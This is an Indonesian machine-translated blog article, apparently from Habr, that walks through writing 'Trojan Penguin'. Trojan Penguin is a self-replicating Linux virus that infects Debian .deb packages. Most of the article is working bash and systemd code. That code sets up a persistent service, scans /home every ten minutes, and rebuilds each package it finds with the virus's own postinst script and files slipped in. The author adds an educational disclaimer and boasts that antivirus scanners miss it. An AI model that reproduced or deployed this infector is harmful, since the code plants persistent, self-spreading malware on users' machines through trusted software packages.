Trojan Penguin: Membuat virus untuk Linux

Tidak, saya tidak akan memberi tahu cara menulis ransomware ransomware, menambang, atau mengeksploitasi kerentanan super baru, seperti yang mungkin Anda pikirkan. Dan lebih dari itu, saya tidak ingin mengangkat holivar "Apakah Linux lebih aman daripada Windows? (Ya)". Tujuan saya adalah untuk menulis virus sederhana untuk linux, tidak ada, jadi untuk berbicara, "Just for Fun", yang fungsinya hanya untuk mendistribusikan salinannya. Tentang apa yang saya lakukan, saya akan ceritakan di artikel ini. Pada akhirnya, saya akan memberikan tautan ke GitHub dengan sumbernya.

gambar

Penafian


Artikel ini ditulis untuk tujuan pendidikan. Penulis sama sekali tidak mendorong pembaca untuk melanggar hukum Federasi Rusia. Tolong jangan ulangi langkah-langkah yang dijelaskan dalam artikel ini tanpa membaca pertama pasal 28 KUHP Federasi Rusia.

Dan apa yang akan kita lakukan?


Mekanisme implementasi termudah untuk menyebarkan virus bagi saya tampaknya disebarkan melalui paket deb / rpm yang dimodifikasi. Paket deb dan rpm sekarang menjadi alat distribusi paling populer untuk Linux. Saya memilih deb, karena jumlah pengguna distribusi berbasis Debian menang atas pengguna Red Hat dan "pengikutnya."

Penting juga bahwa virus mulai secara otomatis, dan setelah setiap periode waktu tertentu ia memindai komputer untuk mencari paket deb. Untuk memudahkan debugging, saya memilih periode 10 menit.

Apa itu paket deb?


Paket deb adalah arsip format .ar yang tidak menggunakan kompresi. Ada tiga file lagi di dalam arsip: debian-bynary , control.tar dan data.tar

debian.binary - file teks yang berisi versi format paket deb, saat ini mereka selalu menulis "2.0" di sana.

control.tar - arsip dengan file yang berisi informasi tentang paket (misalnya, file kontrol yang diperlukan) dan paket yang diperlukan untuk menginstal paket (misalnya, skrip preinst, postinst, prerm dan postrm yang dijalankan sebelum / setelah menginstal / mencopot pemasangan paket). Itu dapat dikompresi menggunakan gzip atau xz, dalam hal ini ekstensi .gz atau .xz ditambahkan ke nama arsip, masing-masing.

data.tar - arsip dengan direktori yang berisi file yang diinstal. Direktori diwakili oleh pohon, dalam bentuk yang harus diekstraksi ke root sistem file. Dapat dikompres menggunakan gzip, bzip2, lzma, xz.

Kita perlu memperhatikan file kontrol dari arsip control.tar. File ini berisi informasi tentang paket, seperti penulis, deskripsi, versi, prioritas paket dalam sistem, dll. Saya tertarik pada bidang dependen, yang menunjukkan dependensi (paket yang tanpanya tidak dapat berfungsi dari paket ini). Di bidang ini, virus kami akan menambahkan fakeroot dan dpkg - utilitas yang akan diperlukan saat memodifikasi paket lain di komputer yang terinfeksi.

Untuk membangun paket deb, direktori root dari paket tersebut dibuat. Direktori dengan file yang diinstal dan direktori DEBIAN yang berisi file layanan, termasuk kontrol dan skrip untuk menginstal / menghapus instalan, ditempatkan di dalamnya. Kemudian perintah fakeroot dpkg-deb --build ./path dieksekusi .

Pertama ada iblis


Pada saat menulis virus, saya masih memiliki ide yang buruk tentang apa itu Cron , dan karena itu pergi dengan menulis daemon saya sendiri untuk systemd . Saya membuat file trojan_penguin.service, yang akan ditempatkan di direktori / lib / systemd / system, dan menambahkan yang berikut ini:

[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target 

ExecStart = / usr / bin / trojan_penguin.sh - di sini saya menunjukkan path ke file (ke virus masa depan), yang harus diluncurkan pada startup sistem.

Type = fork - baris ini menunjukkan bahwa proses harus bercabang dari proses induk.
Saya tidak melihat perlunya file PID, jadi saya tidak menambahkannya.
Dalam manual untuk menulis daemon Anda sendiri, file .service diusulkan untuk ditempatkan di direktori / usr / lib / systemd / system / atau / etc / systemd / system /. Tetapi di ubunt saya menemukan direktori / lib / systemd / system. (Saya mendapat apache2.service di sana). Mungkin seseorang di komentar akan menulis untuk apa direktori ini, dan bagaimana bedanya dengan dua lainnya.

File /usr/bin/trojan_penguin.sh saya mendapatkan ini:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done 

Kami mencari paket deb di bagian / home (di mana lagi saya bisa menemukannya?), Path ke file yang ditemukan ditulis ke variabel daftar . Kemudian cukup ulangi semua baris dari baris dan untuk setiap file kita menjalankan skrip tp_infect.sh, yang akan menginfeksi file ini. Ketika saya menulis virus, skrip berada di direktori yang terpisah, dan untuk kenyamanan saya membuat variabel debug di mana saya menulis path ke folder ini.

Daemon sudah siap, masih harus belajar cara menjalankannya ketika sistem dimulai. Untuk ini, saya menulis skrip postinstall . Ini akan mulai segera setelah menginstal paket yang terinfeksi dan menunjukkan bahwa virus kami mulai dengan sistem. Saya meletakkannya di direktori "/ usr / bin /" untuk menyalinnya dari sana ke paket yang terinfeksi.

 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service #  

Memodifikasi paket deb


Seperti yang saya tulis di atas, arsip yang terkandung dalam paket deb dapat memiliki izin yang berbeda. Saya tidak repot, dan hanya mempertimbangkan kasus ketika arsip dikompresi menggunakan .xz. File /usr/bin/tp_infect.sh yang bertanggung jawab untuk modifikasi menerima konten berikut:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp 

Masalah dengan postinstall


Semuanya akan baik-baik saja, tetapi sekarang kita memiliki masalah. Tetapi bagaimana jika paket tersebut sudah memiliki postinstal? Postinstal asli dapat ditulis dalam berbagai bahasa (python, bash ...), bahkan mungkin biner. Ini tidak akan memungkinkan kami untuk mengambil dan menambahkan postinstall kami. Saya memecahkan masalah ini sebagai berikut:

Menambahkan hal berikut ke skrip tp_infect.sh :

 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi 

Dan di postinstal , ini dia:

 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi 

Saya memecahkan satu masalah, tetapi yang lain muncul. Virus kami akan memodifikasi paket, bahkan jika sudah terinfeksi. Setelah modifikasi, virus akan melihat bahwa ada postinstal di paket (yang sebenarnya milik kita), pindahkan ke / usr / bin /, sehingga menimpa yang asli. Untuk menghindari ini, saya menambahkan tanda centang ke β€œtp_infect.sh”, apakah kami memodifikasi file ini atau tidak:

 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi 

Menyatukannya


Virus sudah siap. Berikut ini tautan ke GitHub , seperti yang dijanjikan. Virus ini dapat dikompilasi ke dalam paket deb yang terpisah (jalankan makedeb.sh) dari repositori. Untuk menyuntikkan virus ke dalam paket apa pun, jalankan perintah:

 tp_infect.sh /  deb-/ 

Ada dua salinan naskah postinst dalam repositori

DEBIAN / postinst - salinan ini hanya dilakukan ketika menginstal paket kosong dengan virus. Saya berkomentar agar virus tidak mulai setelah instalasi, dan memodifikasi paket hanya dengan perintah.

usr / bin / postinst - salinan ini dimasukkan ke dalam paket yang terinfeksi.

Ringkasan


Dan kesimpulannya jelas tanpa artikel ini: Anda tidak boleh mengunduh dan menjalankan program dari sumber yang tidak diverifikasi.

Demi rasa ingin tahu, saya mengirim paket deb virus ke VirusTotal untuk dianalisis. Pada saat penulisan, tidak ada satu pun antivirus yang terdeteksi. Inilah tautan ke laporan. Saya bertanya-tanya berapa banyak waktu yang harus dilewati, dan berapa banyak host yang perlu terinfeksi dengan virus ini sehingga antivirus memperhatikannya?

Source: https://habr.com/ru/post/id430460/


All Articles